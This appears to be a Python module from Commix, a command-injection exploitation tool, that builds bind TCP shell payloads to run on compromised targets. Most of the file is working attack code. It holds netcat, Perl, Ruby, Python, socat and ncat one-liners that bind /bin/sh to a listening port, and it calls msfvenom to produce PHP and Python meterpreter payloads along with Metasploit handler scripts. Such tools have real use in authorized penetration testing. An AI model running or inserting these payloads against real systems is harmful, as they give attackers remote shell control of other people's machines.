#!/usr/bin/env python
# encoding: UTF-8

"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst).

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

For more see the file 'readme/COPYING' for copying permission.
"""

import os
import re
import sys
import time
import base64
import subprocess
from src.utils import menu
from src.utils import common
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init

"""
Set up the netcat bind TCP connection
"""
def netcat_version(separator):
  # Defined shell
  shell = "sh"

  # Netcat alternatives
  NETCAT_ALTERNATIVES = (
    "nc",
    "busybox nc",
    "nc.traditional",
    "nc.openbsd",
  )

  # Available netcat bind TCP shell options.
  NETCAT_OPTIONS = (
    ("1", "use the default Netcat on target host"),
    ("2", "use Netcat for Busybox on target host"),
    ("3", "use Netcat-Traditional on target host"),
    ("4", "use Netcat-Openbsd on target host"),
  )

  message = (
    Style.BRIGHT
    + "Available netcat bind TCP shell options:"
    + Style.RESET_ALL
    + "\n"
  )

  for option, description in NETCAT_OPTIONS:
    message += (
      settings.SUB_CONTENT_SIGN_TYPE
      + "Type '"
      + Style.BRIGHT
      + option
      + Style.RESET_ALL
      + "' to "
      + description
      + ".\n"
    )

  settings.print_data_to_stdout(message.rstrip())

  while True:
    nc_version = _input(
      "commix("
      + Style.BRIGHT
      + Fore.RED
      + "bind_tcp_netcat"
      + Style.RESET_ALL
      + ") > "
    )

    # Default Netcat.
    if nc_version == '1':
      nc_alternative = NETCAT_ALTERNATIVES[0]
      break

    # Netcat for Busybox.
    elif nc_version == '2':
      nc_alternative = NETCAT_ALTERNATIVES[1]
      break

    # Netcat-Traditional.
    elif nc_version == '3':
      nc_alternative = NETCAT_ALTERNATIVES[2]
      break

    # Netcat-Openbsd (nc without -e).
    elif nc_version == '4':
      nc_alternative = NETCAT_ALTERNATIVES[3]
      break

    # Check for available shell options.
    elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS):
      if checks.shell_options(nc_version):
        return checks.shell_options(nc_version)

    # Invalid command.
    else:
      common.invalid_option(nc_version)
      continue

  nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell)

  # Netcat with -e.
  if nc_version != '4':
    cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell

  # nc without -e.
  else:
    cmd = (
      shell
      + " -c \""
      + shell
      + " 0</tmp/f | "
      + nc_alternative
      + " -l -p "
      + settings.LPORT
      + " 1>/tmp/f\""
    )

  return cmd

"""
Other bind shell options
"""
def other_bind_shells(separator):
  # Available generic bind TCP shell options.
  BIND_TCP_SHELLS = (
    ("1", "use a PHP bind TCP shell"),
    ("2", "use a Perl bind TCP shell"),
    ("3", "use a Ruby bind TCP shell"),
    ("4", "use a Python bind TCP shell"),
    ("5", "use a Socat bind TCP shell"),
    ("6", "use a Ncat bind TCP shell"),
  )

  METERPRETER_SHELLS = (
    ("7", "use a PHP meterpreter bind TCP shell"),
    ("8", "use a Python meterpreter bind TCP shell"),
  )

  message = (
    Style.BRIGHT
    + "Available generic bind TCP shell options:"
    + Style.RESET_ALL
    + "\n"
  )

  for option, description in BIND_TCP_SHELLS:
    message += (
      settings.SUB_CONTENT_SIGN_TYPE
      + "Type '"
      + Style.BRIGHT
      + option
      + Style.RESET_ALL
      + "' to "
      + description
      + ".\n"
    )

  message += (
    Style.BRIGHT
    + "Available meterpreter bind TCP shell options:"
    + Style.RESET_ALL
    + "\n"
  )

  for option, description in METERPRETER_SHELLS:
    message += (
      settings.SUB_CONTENT_SIGN_TYPE
      + "Type '"
      + Style.BRIGHT
      + option
      + Style.RESET_ALL
      + "' to "
      + description
      + ".\n"
    )

  settings.print_data_to_stdout(message.rstrip())

  while True:
    other_shell = _input(
      "commix("
      + Style.BRIGHT
      + Fore.RED
      + "bind_tcp_other"
      + Style.RESET_ALL
      + ") > "
    )

    # PHP bind shell.
    if other_shell == '1':
      if not os.path.exists(settings.METASPLOIT_PATH):
        error_msg = settings.METASPLOIT_ERROR_MSG
        settings.print_data_to_stdout(settings.print_error_msg(error_msg))
        continue

      payload = "php/bind_php"
      output = "php_bind_tcp.rc"

      info_msg = "Generating the '" + payload + "' payload. "
      settings.print_data_to_stdout(settings.print_info_msg(info_msg))

      try:
        proc = subprocess.Popen(
          "msfvenom -p " + str(payload) +
          " RHOST=" + str(settings.RHOST) +
          " LPORT=" + str(settings.LPORT) +
          " -e php/base64 -o " + output + settings.NO_OUTPUT,
          shell=True
        ).wait()

        with open(output, "r+") as content_file:
          data = content_file.readlines()
          data = ''.join(data).replace(
            settings.END_LINE.LF,
            settings.SINGLE_WHITESPACE
          )

        settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)

        # Remove temporary output file.
        os.remove(output)

        with open(output, 'w+') as filewrite:
          filewrite.write(
            "use exploit/multi/handler" + settings.END_LINE.LF +
            "set payload " + payload + settings.END_LINE.LF +
            "set rhost " + str(settings.RHOST) + settings.END_LINE.LF +
            "set lport " + str(settings.LPORT) + settings.END_LINE.LF +
            "exploit" + settings.END_LINE.LF * 2
          )

        if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
          checks.set_php_working_dir()
          other_shell = settings.WIN_PHP_DIR + " -r " + data
        else:
          other_shell = "php -r \"" + data + "\""

        checks.msf_launch_msg(output)

      except:
        settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)

      break

    # Perl bind shell.
    elif other_shell == '2':
      other_shell = (
        "perl -MIO -e '"
        "$c=new IO::Socket::INET(LocalPort,"
        + settings.LPORT +
        ",Reuse,1,Listen)->accept;"
        "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
      )

      break

    # Ruby bind shell.
    elif other_shell == '3':
      other_shell = (
        "ruby -rsocket -e '"
        "s=TCPServer.new("
        + settings.LPORT +
        ");c=s.accept;"
        "s.close;"
        "$stdin.reopen(c);"
        "$stdout.reopen(c);"
        "$stderr.reopen(c);"
        "$stdin.each_line{|l|l=l.strip;"
        "next if l.length==0;"
        "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip)}})}'"
      )

      break

    # Python bind shell.
    elif other_shell == '4':
      other_shell = (
        settings.LINUX_PYTHON_INTERPRETER
        + " -c 'import pty,os,socket%0d"
        "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d"
        "s.bind((\"\","
        + settings.LPORT +
        "))%0d"
        "s.listen(1)%0d"
        "(rem, addr) = s.accept()%0d"
        "os.dup2(rem.fileno(),0)%0d"
        "os.dup2(rem.fileno(),1)%0d"
        "os.dup2(rem.fileno(),2)%0d"
        "pty.spawn(\"/bin/sh\")%0d"
        "s.close()'"
      )

      break

    # Socat bind shell.
    elif other_shell == '5':
      other_shell = (
        "socat tcp-listen:"
        + settings.LPORT +
        " exec:\"sh\""
      )

      break

    # Ncat bind shell.
    elif other_shell == '6':
      other_shell = (
        "ncat -k -l "
        + settings.LPORT +
        " -e /bin/sh"
      )

      break

    # PHP meterpreter bind shell.
    elif other_shell == '7':
      if not os.path.exists(settings.METASPLOIT_PATH):
        error_msg = settings.METASPLOIT_ERROR_MSG
        settings.print_data_to_stdout(settings.print_error_msg(error_msg))
        continue

      payload = "php/meterpreter/bind_tcp"
      output = "php_meterpreter.rc"

      info_msg = "Generating the '" + payload + "' payload. "
      settings.print_data_to_stdout(settings.print_info_msg(info_msg))

      try:
        proc = subprocess.Popen(
          "msfvenom -p " + str(payload) +
          " RHOST=" + str(settings.RHOST) +
          " LPORT=" + str(settings.LPORT) +
          " -e php/base64 -o " + output + settings.NO_OUTPUT,
          shell=True
        ).wait()

        with open(output, "r+") as content_file:
          data = content_file.readlines()
          data = ''.join(data).replace(
            settings.END_LINE.LF,
            settings.SINGLE_WHITESPACE
          )

        settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)

        # Remove temporary output file.
        os.remove(output)

        with open(output, 'w+') as filewrite:
          filewrite.write(
            "use exploit/multi/handler" + settings.END_LINE.LF +
            "set payload " + payload + settings.END_LINE.LF +
            "set rhost " + str(settings.RHOST) + settings.END_LINE.LF +
            "set lport " + str(settings.LPORT) + settings.END_LINE.LF +
            "exploit" + settings.END_LINE.LF * 2
          )

        if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR:
          checks.set_php_working_dir()
          other_shell = settings.WIN_PHP_DIR + " -r " + data
        else:
          other_shell = "php -r \"" + data + "\""

        checks.msf_launch_msg(output)

      except:
        settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)

      break

    # Python meterpreter bind shell.
    elif other_shell == '8':
      if not os.path.exists(settings.METASPLOIT_PATH):
        error_msg = settings.METASPLOIT_ERROR_MSG
        settings.print_data_to_stdout(settings.print_error_msg(error_msg))
        continue

      payload = "python/meterpreter/bind_tcp"
      output = "py_meterpreter.rc"

      info_msg = "Generating the '" + payload + "' payload. "
      settings.print_data_to_stdout(settings.print_info_msg(info_msg))

      try:
        proc = subprocess.Popen(
          "msfvenom -p " + str(payload) +
          " RHOST=" + str(settings.RHOST) +
          " LPORT=" + str(settings.LPORT) +
          " -o " + output + settings.NO_OUTPUT,
          shell=True
        ).wait()

        with open(output, "r") as content_file:
          data = content_file.readlines()
          data = ''.join(data)

        settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)

        # Remove temporary output file.
        os.remove(output)

        with open(output, 'w+') as filewrite:
          filewrite.write(
            "use exploit/multi/handler" + settings.END_LINE.LF +
            "set payload " + payload + settings.END_LINE.LF +
            "set rhost " + str(settings.RHOST) + settings.END_LINE.LF +
            "set lport " + str(settings.LPORT) + settings.END_LINE.LF +
            "exploit" + settings.END_LINE.LF * 2
          )

        if settings.TARGET_OS == settings.OS.WINDOWS:
          if not settings.USER_DEFINED_PYTHON_DIR:
            checks.set_python_working_dir()
          other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""
        else:
          if not settings.USER_DEFINED_PYTHON_INTERPRETER:
            checks.set_python_interpreter()
          other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\""

        checks.msf_launch_msg(output)

      except:
        settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)

      break

    # Check for available shell options.
    elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS):
      if checks.shell_options(other_shell):
        return checks.shell_options(other_shell)

    # Invalid option.
    else:
      common.invalid_option(other_shell)
      continue

  return other_shell

"""
Choose type of bind TCP connection.
"""
def bind_tcp_options(separator):
  # Available bind TCP shell options.
  BIND_TCP_OPTIONS = (
    ("1", "use netcat bind TCP shells"),
    ("2", "use other bind TCP shells"),
  )

  message = (
    Style.BRIGHT
    + "Available bind TCP shell options:"
    + Style.RESET_ALL
    + "\n"
  )

  for option, description in BIND_TCP_OPTIONS:
    message += (
      settings.SUB_CONTENT_SIGN_TYPE
      + "Type '"
      + Style.BRIGHT
      + option
      + Style.RESET_ALL
      + "' for "
      + description
      + ".\n"
    )

  settings.print_data_to_stdout(message.rstrip())

  while True:
    bind_tcp_option = _input(
      "commix("
      + Style.BRIGHT
      + Fore.RED
      + "bind_tcp"
      + Style.RESET_ALL
      + ") > "
    )

    if bind_tcp_option.lower() == "bind_tcp":
      warn_msg = "You are into '" + bind_tcp_option.lower() + "' mode."
      settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
      continue

    # Option 1 - Netcat shell.
    elif bind_tcp_option == '1':
      bind_tcp_option = netcat_version(separator)

      if bind_tcp_option.lower() not in settings.SHELL_OPTIONS:
        checks.shell_success("bind")
        break

      elif bind_tcp_option.lower() in settings.SHELL_OPTIONS:
        return bind_tcp_option

      else:
        pass

    # Option 2 - Other bind TCP shells.
    elif bind_tcp_option == '2':
      bind_tcp_option = other_bind_shells(separator)

      if settings.EVAL_BASED_STATE != False:
        bind_tcp_option = bind_tcp_option.replace("$", "\\$")

      if bind_tcp_option.lower() not in settings.SHELL_OPTIONS:
        checks.shell_success("bind")
        break

    # Check for available shell options.
    elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS):
      if checks.shell_options(bind_tcp_option):
        return checks.shell_options(bind_tcp_option)

    # Invalid option.
    else:
      common.invalid_option(bind_tcp_option)
      continue

  return bind_tcp_option

"""
Set up the bind TCP connection
"""
def configure_bind_tcp(separator):
  # Set up rhost for the bind TCP connection.
  while True:
    settings.print_data_to_stdout(settings.END_LINE.CR + settings.BIND_TCP_SHELL)

    option = _input()

    if option.lower() == "bind_tcp":
      warn_msg = "You are into the '" + option.lower() + "' mode."
      settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
      continue

    # Display bind TCP options.
    elif option.lower() == "?":
      menu.bind_tcp_options()
      continue

    # Exit Commix.
    elif option.lower() == "quit" or option.lower() == "exit":
      raise SystemExit()

    # Return to previous shell context.
    elif option.lower() == "os_shell" or option.lower() == "back":
      settings.BIND_TCP = False
      break

    # Switch to reverse TCP mode.
    elif option.lower() == "reverse_tcp":
      settings.REVERSE_TCP = True
      settings.BIND_TCP = False
      break

    # Continue when required options are set.
    elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0:
      break

    # Handle set options.
    elif option[0:4].lower() == "set ":

      # Set remote host.
      if option[4:10].lower() == "rhost ":
        if checks.check_rhost(option[10:]):
          if len(settings.LPORT) == 0:
            pass
          else:
            break
        else:
          continue

      # LHOST is not supported in bind TCP mode.
      elif option[4:10].lower() == "lhost ":
        err_msg = "The '" + option[4:9].upper() + "' option, is not "
        err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option."
        settings.print_data_to_stdout(settings.print_error_msg(err_msg))
        continue

      # Set local port.
      elif option[4:10].lower() == "lport ":
        if checks.check_lport(option[10:]):
          if len(settings.RHOST) == 0:
            pass
          else:
            break
        else:
          continue

      # Invalid set option.
      else:
        common.invalid_option(option)
        pass

    # Invalid option.
    else:
      common.invalid_option(option)
      pass

# eof